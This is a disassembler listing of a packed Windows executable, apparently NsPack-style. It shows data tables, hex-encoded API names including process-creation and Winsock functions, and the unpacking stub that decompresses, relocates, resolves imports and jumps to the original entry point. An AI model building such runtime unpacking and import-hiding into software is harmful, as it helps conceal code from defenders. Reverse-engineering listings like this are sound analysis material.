word_4D894E	dw 0			; DATA XREF: sub_42052A+B8r
word_4D8950	dw 0			; DATA XREF: sub_42052A+B0r
word_4D8952	dw 0			; DATA XREF: sub_42052A+9Er
dword_4D8954	dd 0			; DATA XREF: sub_4202CC+4Br
dword_4D8958	dd 10h dup(0)		; DATA XREF: sub_4202CC+FBo
word_4D8998	dw 0			; DATA XREF: sub_42052A+46r
word_4D899A	dw 0			; DATA XREF: sub_4202CC:loc_420343r
					; sub_42052A+78r ...
word_4D899C	dw 0			; DATA XREF: sub_42052A+67r
word_4D899E	dw 0			; DATA XREF: sub_42052A+70r
					; sub_42052A:loc_4205AEr
word_4D89A0	dw 0			; DATA XREF: sub_42052A+5Dr
word_4D89A2	dw 0			; DATA XREF: sub_42052A+55r
word_4D89A4	dw 0			; DATA XREF: sub_42052A+4Dr
word_4D89A6	dw 0			; DATA XREF: sub_42052A+3Er
dword_4D89A8	dd 0			; DATA XREF: sub_4202CC+80r
dword_4D89AC	dd 0			; DATA XREF: sub_4202CC+132r
					; sub_4202CC:loc_420418r ...
dword_4D89B0	dd 0			; DATA XREF: sub_4202B7r sub_4202B7+Ew
dword_4D89B4	dd 0			; DATA XREF: sub_420858+3r
					; sub_420858+2Ew ...
dword_4D89B8	dd 0			; DATA XREF: sub_420858+43w
					; sub_420858:loc_4208A7r
dword_4D89BC	dd 0			; DATA XREF: sub_420858+4Aw
					; sub_420858+60r
dword_4D89C0	dd 0			; DATA XREF: sub_41F514+3Fr
dword_4D89C4	dd 0			; DATA XREF: sub_421401:loc_421468r
					; sub_421401+6Do
dword_4D89C8	dd 0			; DATA XREF: sub_421401:loc_42143Fr
					; sub_421401+44o
dword_4D89CC	dd 0			; DATA XREF: sub_421401:loc_421432r
					; sub_421401+37o
dword_4D89D0	dd 0			; DATA XREF: sub_421401:loc_42144Cr
					; sub_421401+51o
		align 8
dword_4D89D8	dd 0			; DATA XREF: sub_4219AF+28r
					; sub_4219AF+48w ...
byte_4D89DC	db 1			; DATA XREF: sub_40C983r sub_40C983+9w ...
		align 10h
dword_4D89E0	dd 944968h		; DATA XREF: sub_419F40:loc_419F51r
					; sub_41AF82+14r ...
		dd 7 dup(0)
dword_4D8A00	dd 400h	dup(0)		; DATA XREF: nsp0:off_43B278o
					; nsp0:0043B280o
dword_4D9A00	dd 200h			; DATA XREF: sub_419F40+9r
					; sub_419F40+56r ...
		dd 7 dup(0)
dword_4D9A20	dd 950EF0h		; DATA XREF: sub_41AB28+75r
					; sub_41AC01+2Ar ...
dword_4D9A24	dd 3Fh dup(0)		; DATA XREF: sub_41EC38+92o
dword_4D9B20	dd 20h			; DATA XREF: sub_419DC2+8r
					; sub_41AC01+Cr ...
dword_4D9B24	dd 4E4h			; DATA XREF: sub_41B98E+14r
					; sub_41B98E+65w ...
		align 10h
dword_4D9B30	dd 3 dup(0)		; DATA XREF: sub_41B98E+123o
					; sub_41B98E+171o ...
dword_4D9B3C	dd 0			; DATA XREF: sub_41B98E+108w
					; sub_41B98E+15Dw ...
byte_4D9B40	db 0			; DATA XREF: sub_41BBCD:loc_41BCD9w
					; sub_41BBCD:loc_41BCF6w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4D9C40	db 0			; DATA XREF: sub_41B98E+5Co
					; sub_41B98E+AFo ...
byte_4D9C41	db 0			; DATA XREF: sub_417EE1+5Dr
					; sub_41B98E+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4D9D44	dd 0			; DATA XREF: sub_41B98E+6Ew
					; sub_41B98E+12Bw ...
dword_4D9D48	dd 10h			; DATA XREF: sub_419FE9+32w
					; sub_41A686+5r ...
dword_4D9D4C	dd 0			; DATA XREF: sub_41A052+239r
					; sub_41A052+259r ...
dword_4D9D50	dd 940650h		; DATA XREF: sub_419FE9+2Dw
					; sub_41A052+310w ...
dword_4D9D54	dd 0			; DATA XREF: sub_419FE9:loc_41A006w
					; sub_41A052+22Cr ...
dword_4D9D58	dd 1			; DATA XREF: sub_419FE9+24w
					; sub_41A027r ...
dword_4D9D5C	dd 940650h		; DATA XREF: sub_419FE9+15w
					; sub_41A027+8r ...
dword_4D9D60	dd 940000h		; DATA XREF: sub_4177C1+21r
					; sub_4178D8+A9r ...
dword_4D9D64	dd 142340h		; DATA XREF: nsp0:00419CFDw
					; sub_41E7A8+Fr ...
dword_4D9D68	dd 1			; DATA XREF: sub_41E800+ADw
					; sub_421573r
dword_4D9D6C	dd 1			; DATA XREF: sub_41BD52r
					; sub_41BD52+11w ...
dword_4D9D70	dd 950E6Ch		; DATA XREF: sub_417CE3+3Er
					; sub_4194D3+13r ...
dword_4D9D74	dd 950E60h		; DATA XREF: sub_417CE3+35r
					; sub_417CE3+57r ...
byte_4D9D78	db 1			; DATA XREF: sub_422224+15r
					; sub_422224+1Ew
		align 4
		dd 0A1h	dup(0)
		dd 7Fh,	0
		dd 23000h, 0D02E6824h, 0E79C6C92h, 2EF9EB66h, 0E1313D06h
		dd 84B1E102h, 6F205F9h,	0B863B503h, 37E6FC99h, 7D56B728h
		dd 93AB9613h, 0EB1AC45Bh, 0FDD8FE34h, 49573C4Ch, 75061F00h
		dd 3782DE8Ch, 7A90E3B4h, 0AAEF0606h, 819E67BFh,	0FC515968h
		dd 1460895Bh, 9776906Fh, 18D9E21Ah, 652ECE24h, 2F971A24h
		dd 83D3EF8h, 0B86387Ah,	960A3426h, 0E7A13F9Fh, 12000677h
		dd 0D000000h, 0BC000000h, 0CB000231h, 1371B2ACh, 2600h
		dd 1500h, 231C400h, 1C462200h, 5A8DDA36h, 18DE2CEh, 905D46F8h
		dd 90F4226Dh, 0AB157E7Bh, 571h,	3 dup(0)
		dd 46000000h, 54656C69h, 54656D69h, 7379536Fh, 546D6574h
		dd 53656D69h, 6E457465h, 6F726976h, 6E656D6Eh, 72615674h
		dd 6C626169h, 6F434165h, 7261706Dh, 72745365h, 57676E69h
		dd 706D6F43h, 53657261h, 6E697274h, 65534167h, 646E4574h
		dd 6946664Fh, 7349656Ch, 43646142h, 5065646Fh, 73497274h
		dd 52646142h, 50646165h, 65537274h, 686E5574h, 6C646E61h
		dd 78456465h, 74706563h, 466E6F69h, 65746C69h, 74654772h
		dd 69727453h, 7954676Eh, 47576570h, 74537465h, 676E6972h
		dd 65707954h, 756C4641h, 69466873h, 7542656Ch, 72656666h
		dd 74655373h, 48647453h, 6C646E61h, 74654765h, 656C6946h
		dd 65707954h, 53746547h, 61486474h, 656C646Eh, 48746553h
		dd 6C646E61h, 756F4365h, 6547746Eh, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 45746547h, 7269766Eh
		dd 656D6E6Fh, 7453746Eh, 676E6972h, 65724673h, 766E4565h
		dd 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh, 65657246h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 55417367h
		dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
		dd 4C726574h, 70614D43h, 69727453h, 4C57676Eh, 70614D43h
		dd 69727453h, 4841676Eh, 53706165h, 52657A69h, 65736961h
		dd 65637845h, 6F697470h, 7465476Eh, 434D454Fh, 69784550h
		dd 6F725074h, 73736563h, 736F6C43h, 6E614865h, 43656C64h
		dd 74616572h, 6F725065h, 73736563h, 74654741h, 75646F4Dh
		dd 6946656Ch, 614E656Ch, 4741656Dh, 79537465h, 6D657473h
		dd 65726944h, 726F7463h, 6C534179h, 43706565h, 74616572h
		dd 72685465h, 44646165h, 74656C65h, 6C694665h, 704F4165h
		dd 72506E65h, 7365636Fh, 74654773h, 72727543h, 50746E65h
		dd 65636F72h, 64497373h, 4C746547h, 45747361h, 726F7272h
		dd 79706F43h, 656C6946h, 74655341h, 656C6946h, 72747441h
		dd 74756269h, 47417365h, 69467465h, 7441656Ch, 62697274h
		dd 73657475h, 74654741h, 75646F4Dh, 6148656Ch, 656C646Eh
		dd 69615741h, 726F4674h, 676E6953h, 624F656Ch, 7463656Ah
		dd 61657243h, 754D6574h, 41786574h, 54746547h, 436B6369h
		dd 746E756Fh, 6D726554h, 74616E69h, 72685465h, 47646165h
		dd 65547465h, 6150706Dh, 4D416874h, 4665766Fh, 41656C69h
		dd 64616F4Ch, 7262694Ch, 41797261h, 50746547h, 41636F72h
		dd 65726464h, 65477373h, 6D6F4374h, 65747570h, 6D614E72h
		dd 65474165h, 636F4C74h, 49656C61h, 416F666Eh, 56746547h
		dd 69737265h, 78456E6Fh, 69784541h, 72685474h, 4C646165h
		dd 65766165h, 74697243h, 6C616369h, 74636553h, 456E6F69h
		dd 7265746Eh, 74697243h, 6C616369h, 74636553h, 496E6F69h
		dd 6974696Eh, 7A696C61h, 69724365h, 61636974h, 6365536Ch
		dd 6E6F6974h, 53646E41h, 436E6970h, 746E756Fh, 656C6544h
		dd 72436574h, 63697469h, 65536C61h, 6F697463h, 6972576Eh
		dd 69466574h, 7243656Ch, 65746165h, 6E657645h, 65524174h
		dd 69466461h, 7243656Ch, 65746165h, 656C6946h, 72655441h
		dd 616E696Dh, 72506574h, 7365636Fh, 70754473h, 6163696Ch
		dd 61486574h, 656C646Eh, 43746547h, 65727275h, 7250746Eh
		dd 7365636Fh, 65724373h, 50657461h, 47657069h, 69547465h
		dd 6F46656Dh, 74616D72h, 74654741h, 65746144h, 6D726F46h
		dd 47417461h, 69467465h, 6953656Ch, 6946657Ah, 6C43646Eh
		dd 4665736Fh, 54656C69h, 54656D69h, 636F4C6Fh, 69466C61h
		dd 6954656Ch, 6946656Dh, 654E646Eh, 69467478h, 4641656Ch
		dd 46646E69h, 74737269h, 656C6946h, 74655341h, 656C6946h
		dd 6E696F50h, 53726574h, 6F437465h, 6C6F736Eh, 72744365h
		dd 6E61486Ch, 72656C64h, 74696157h, 4D726F46h, 69746C75h
		dd 4F656C70h, 63656A62h, 65477374h, 6172656Eh, 6F436574h
		dd 6C6F736Eh, 72744365h, 6576456Ch, 7551746Eh, 50797265h
		dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 65755172h
		dd 65507972h, 726F6672h, 636E616Dh, 65724665h, 6E657571h
		dd 65477963h, 636F4C74h, 69546C61h, 6F46656Dh, 74616D72h
		dd 7373654Dh, 41656761h, 626F6C47h, 6E556C61h, 6B636F6Ch
		dd 626F6C47h, 6F4C6C61h, 6E556B63h, 5670616Dh, 4F776569h
		dd 6C694666h, 70614D65h, 77656956h, 6946664Fh, 7243656Ch
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 46746553h
		dd 54656C69h, 47656D69h, 69467465h, 6954656Ch, 7845656Dh
		dd 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 46417367h, 4C656572h, 61726269h, 69577972h, 68436564h
		dd 6F547261h, 746C754Dh, 74794269h, 6C754D65h, 79426974h
		dd 6F546574h, 65646957h, 72616843h, 7274736Ch, 69706D63h
		dd 74654741h, 74697845h, 65646F43h, 636F7250h, 50737365h
		dd 4E6B6565h, 64656D61h, 65706950h, 626F6C47h, 654D6C61h
		dd 79726F6Dh, 74617453h, 65487375h, 72467061h, 65486565h
		dd 65527061h, 6F6C6C41h, 61654863h, 6C6C4170h, 7452636Fh
		dd 776E556Ch, 47646E69h, 69547465h, 6F5A656Dh, 6E49656Eh
		dd 6D726F66h, 6F697461h, 7465476Eh, 74737953h, 69546D65h
		dd 6547656Dh, 61745374h, 70757472h, 6F666E49h, 74654741h
		dd 6D6D6F43h, 4C646E61h, 41656E69h, 56746547h, 69737265h
		dd 65486E6Fh, 65447061h, 6F727473h, 61654879h, 65724370h
		dd 56657461h, 75747269h, 72466C61h, 69566565h, 61757472h
		dd 6C6C416Ch, 7349636Fh, 57646142h, 65746972h, 47727450h
		dd 50437465h, 6F666E49h, 41746547h, 4E575043h, 64417465h
		dd 6E6F4364h, 7463656Eh, 326E6F69h, 7FF41h, 0FFF8000h
		dd 0FF800000h, 8000000Ch, 74FFh, 73FF80h, 15FF8000h, 0FF800000h
		dd 8000000Ah, 2FFh, 0DFF80h, 1FF8000h, 57800000h, 6F534153h
		dd 74656B63h, 0BFF41h, 9FF8000h, 0FF800000h, 80000004h
		dd 10FFh, 3FF80h, 17FF8000h, 0FF800000h, 80000013h, 12FFh
		dd 97FF80h, 6FF8000h, 800000h, 21Bh dup(0)
nsp0		ends

; Section 2. (virtual address 000DB000)
; Virtual size			: 00018D14 ( 101652.)
; Section size in file		: 00018D14 ( 101652.)
; Offset to raw	data for section: 000DB000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
nsp1		segment	para public 'CODE' use32
		assume cs:nsp1
		;org 4DB000h
		assume es:nothing, ss:nothing, ds:nsp0,	fs:nothing, gs:nothing
		dd 90Dh, 0
		dd 0DA000h, 0
		dd 4, 0
		dd 71AB0000h, 7	dup(0)
		dd 940000h, 0
		dd offset sub_401000
		align 8
		dd 0E2Fh, 0
		dd 112h, 1, 6 dup(0)
		dd 0C8h, 4 dup(0)
		dd offset sub_401000
		dd 0
		dd 16EFBh, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h, 4	dup(0)
		dd 0DB118h, 0DB09Ch, 3 dup(0)
		dd 0DB125h, 0DB0B8h, 3 dup(0)
		dd 0DB12Dh, 0DB0C0h, 5 dup(0)
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 52504D00h, 4C4C442Eh
		dd 32535700h, 2E32335Fh, 4C4C44h, 6F4C0000h, 694C6461h
		dd 72617262h, 4179h, 74654700h,	636F7250h, 72646441h, 737365h
		dd 69560000h, 61757472h, 6F72506Ch, 74636574h, 56000000h
		dd 75747269h, 6C416C61h, 636F6Ch, 69560000h, 61757472h
		dd 6572466Ch, 65h, 74697845h, 636F7250h, 737365h, 4E570000h
		dd 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h, 41h, 2002h
		dd 2148A00h, 100000h, 200h, 1C1A00h, 2300000h, 4E736300h
		dd 2C3B3F6Dh, 0E8609CCFh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		mov	eax, 7
		sub	ebp, eax
		lea	esi, [ebp-179h]
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4DB1FA
		lea	esi, [ebp-151h]
		mov	eax, [esi]
		cmp	eax, 1
		jz	loc_4DB445


loc_4DB1FA:				; CODE XREF: nsp1:004DB1E7j
		mov	dword ptr [esi], 1
		mov	edx, ebp
		mov	eax, [ebp-1BDh]
		sub	edx, eax
		mov	[ebp-1BDh], edx
		add	[ebp-18Dh], edx
		lea	esi, [ebp-149h]
		add	[esi], edx
		mov	esi, [esi]
		mov	edi, ebp
		pusha
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-125h]
		test	eax, eax
		jz	loc_4DB595
		mov	[ebp-195h], eax
		call	$+5
		pop	ebx
		mov	ecx, 354h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_4DB4F6
		popa
		add	edi, [ebp-1CDh]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4DB271
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_4DB287
; ---------------------------------------------------------------------------


loc_4DB271:				; CODE XREF: nsp1:004DB265j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_4DB27B:				; CODE XREF: nsp1:004DB2B4j
		cmp	dword ptr [ebx], 0
		jz	short loc_4DB2B6
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_4DB287:				; CODE XREF: nsp1:004DB26Fj
		push	edi
		push	ecx
		push	edx
		push	ebx
		push	dword ptr [ebp-121h]
		push	dword ptr [ebp-125h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-195h]
		add	eax, 5A9h
		call	eax
		pop	ebx
		pop	edx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_4DB2B6
		add	ebx, 8
		jmp	short loc_4DB27B
; ---------------------------------------------------------------------------


loc_4DB2B6:				; CODE XREF: nsp1:004DB27Ej
					; nsp1:004DB2AFj
		push	8000h
		push	0
		push	dword ptr [ebp-195h]
		call	dword ptr [ebp-121h]
		lea	esi, [ebp-18Dh]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_4DB31D


loc_4DB2DE:				; CODE XREF: nsp1:004DB2E5j
					; nsp1:004DB2F3j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_4DB2E3:				; CODE XREF: nsp1:004DB31Bj
		cmp	al, 1
		ja	short loc_4DB2DE
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_4DB303
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_4DB2DE
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_4DB30D
; ---------------------------------------------------------------------------


loc_4DB303:				; CODE XREF: nsp1:004DB2EDj
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_4DB30D:				; CODE XREF: nsp1:004DB301j
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_4DB2E3


loc_4DB31D:				; CODE XREF: nsp1:004DB2DCj
		call	sub_4DB44C
		lea	ecx, [ebp-179h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_4DB3B5
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_4DB3B5
		mov	[ecx+10h], esi
		lea	esi, [ebp-149h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4DB35A
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4DB362
; ---------------------------------------------------------------------------


loc_4DB35A:				; CODE XREF: nsp1:004DB34Ej
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_4DB362:				; CODE XREF: nsp1:004DB358j
					; nsp1:004DB373j
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4DB38B
		cmp	al, 0EFh
		ja	short loc_4DB375


loc_4DB36F:				; CODE XREF: nsp1:004DB382j
					; nsp1:004DB389j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4DB362
; ---------------------------------------------------------------------------


loc_4DB375:				; CODE XREF: nsp1:004DB36Dj
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4DB36F
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4DB36F
; ---------------------------------------------------------------------------


loc_4DB38B:				; CODE XREF: nsp1:004DB369j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4DB3B5


loc_4DB396:				; CODE XREF: nsp1:004DB3A1j
		lodsd
		or	eax, eax
		jz	short loc_4DB3A3
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4DB396
; ---------------------------------------------------------------------------


loc_4DB3A3:				; CODE XREF: nsp1:004DB399j
		xor	ebx, ebx
		shr	ecx, 10h


loc_4DB3A8:				; CODE XREF: nsp1:004DB3B3j
		lodsd
		or	eax, eax
		jz	short loc_4DB3B5
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4DB3A8
; ---------------------------------------------------------------------------


loc_4DB3B5:				; CODE XREF: nsp1:004DB32Ej
					; nsp1:004DB339j ...
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]
		lea	esi, [ebp-161h]
		mov	eax, [esi]
		cmp	eax, 1
		jnz	short loc_4DB40C
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-129h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_4DB595
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 10h
		sub	edi, 8
		add	esi, 4
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-129h]


loc_4DB40C:				; CODE XREF: nsp1:004DB3C8j
		mov	ebx, ebp
		sub	ebx, 21h
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	ecx, 0
		jz	short loc_4DB445
		inc	ebx
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]


loc_4DB426:				; CODE XREF: nsp1:004DB443j
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-129h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_4DB426


loc_4DB445:				; CODE XREF: nsp1:004DB1F4j
					; nsp1:004DB41Bj
		popa
		popf
		jmp	loc_419C83

; =============== S U B	R O U T	I N E =======================================



sub_4DB44C	proc near		; CODE XREF: nsp1:loc_4DB31Dp

; FUNCTION CHUNK AT 004DB595 SIZE 00000009 BYTES

		mov	esi, [ebp-1C5h]
		or	esi, esi
		jz	loc_4DB4F1
		mov	edx, [ebp-1BDh]
		add	esi, edx


loc_4DB462:				; CODE XREF: sub_4DB44C+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4DB475
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4DB475
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4DB475
		jmp	short loc_4DB4EF
; ---------------------------------------------------------------------------


loc_4DB475:				; CODE XREF: sub_4DB44C+19j
					; sub_4DB44C+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-0B5h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-131h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_4DB4F1
		mov	[ebp-1B5h], eax
		add	edi, [esi]
		add	esi, 4


loc_4DB4A3:				; CODE XREF: sub_4DB44C+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_4DB4AF
		inc	esi
		jmp	short loc_4DB462
; ---------------------------------------------------------------------------


loc_4DB4AF:				; CODE XREF: sub_4DB44C+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_4DB4C3
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_4DB4C3:				; CODE XREF: sub_4DB44C+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-1B5h]
		call	dword ptr [ebp-12Dh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_4DB4F1
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_4DB4A3
; ---------------------------------------------------------------------------


loc_4DB4EF:				; CODE XREF: sub_4DB44C+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_4DB4F1:				; CODE XREF: sub_4DB44C+8j
					; sub_4DB44C+4Aj ...
		jmp	loc_4DB595
sub_4DB44C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB4F6	proc near		; CODE XREF: nsp1:004DB254p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004DB591 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4DB502:				; CODE XREF: sub_4DB4F6+12j
		movsb


loc_4DB503:				; CODE XREF: sub_4DB4F6+34j
					; sub_4DB4F6+7Dj
		call	sub_4DB575
		jnb	short loc_4DB502
		xor	ecx, ecx
		call	sub_4DB575
		jnb	short loc_4DB52C
		xor	eax, eax
		call	sub_4DB575
		jnb	short loc_4DB53D
		mov	al, 10h


loc_4DB51E:				; CODE XREF: sub_4DB4F6+2Fj
		call	sub_4DB575
		adc	al, al
		jnb	short loc_4DB51E
		jnz	short loc_4DB56A
		stosb
		jmp	short loc_4DB503
; ---------------------------------------------------------------------------


loc_4DB52C:				; CODE XREF: sub_4DB4F6+1Bj
		call	sub_4DB581
		dec	ecx
		loop	loc_4DB549
		mov	eax, ebp
		call	sub_4DB57F
		jmp	short loc_4DB56B
; ---------------------------------------------------------------------------


loc_4DB53D:				; CODE XREF: sub_4DB4F6+24j
		lodsb
		shr	eax, 1
		jz	short loc_4DB591
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4DB56B
; ---------------------------------------------------------------------------


loc_4DB549:				; CODE XREF: sub_4DB4F6+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4DB57F
		cmp	eax, 7D00h
		jnb	short loc_4DB569
		cmp	eax, 500h
		jnb	short loc_4DB56A
		cmp	eax, 7Fh
		ja	short loc_4DB56B


loc_4DB569:				; CODE XREF: sub_4DB4F6+65j
		inc	ecx


loc_4DB56A:				; CODE XREF: sub_4DB4F6+31j
					; sub_4DB4F6+6Cj
		inc	ecx


loc_4DB56B:				; CODE XREF: sub_4DB4F6+45j
					; sub_4DB4F6+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4DB503
sub_4DB4F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB575	proc near		; CODE XREF: sub_4DB4F6:loc_4DB503p
					; sub_4DB4F6+16p ...
		add	dl, dl
		jnz	short locret_4DB57E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4DB57E:				; CODE XREF: sub_4DB575+2j
		retn
sub_4DB575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DB57F	proc near		; CODE XREF: sub_4DB4F6+40p
					; sub_4DB4F6+5Bp
		xor	ecx, ecx
sub_4DB57F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4DB581	proc near		; CODE XREF: sub_4DB4F6:loc_4DB52Cp
		inc	ecx


loc_4DB582:				; CODE XREF: sub_4DB581+Dj
		call	sub_4DB575
		adc	ecx, ecx
		call	sub_4DB575
		jb	short loc_4DB582
		retn
sub_4DB581	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DB4F6


loc_4DB591:				; CODE XREF: sub_4DB4F6+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4DB4F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DB44C


loc_4DB595:				; CODE XREF: nsp1:004DB239j
					; nsp1:004DB3E3j ...
		push	0
		call	dword ptr [ebp-11Dh]
		retn
; END OF FUNCTION CHUNK	FOR sub_4DB44C
; ---------------------------------------------------------------------------
		mov	eax, [eax]
		adc	[ebx], edi
		push	ecx
		add	al, 75h
		or	al, bh
		inc	ecx
		cmp	[eax], dl
		add	[eax+2], esp
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------
		dd 42020E8Ah, 8BC01189h, 83042444h, 67106138h, 56060C08h
		dd 0D0033C20h, 0FF084983h, 58D6056Ah, 0C9E85E1Eh, 0C88B0273h
		dd 0B60F0Ch, 8E2C1C0h, 894EC20Bh, 751E417Ch, 41C5EEAh
		dd 8B565300h, 0F330871h, 57D285DBh, 7E0C7900h, 0EAEC552Ch
		dd 1EED139h, 72FE3BE3h,	83D02B05h, 81013ACBh, 73C0C5EEh
		dd 8E6C110h, 8985E835h,	0E74108h, 0D8754DF8h, 62CE895Dh
		dd 5E7A985Fh, 5BC3398Bh, 2EF28C67h, 0F57C39Eh, 0C2B839B7h
		dd 0B78E8C1h, 0C7AF3Ch,	0F83B0C7Eh, 63894073h, 66C0BC46h
		dd 341C01EBh, 0E03DBFD0h, 0C1FA2B98h, 30500FFh,	398966F8h
		dd 50FF7E81h, 0CE8B195Ch, 9F2AE829h, 0E1C84E10h, 6675713Ah
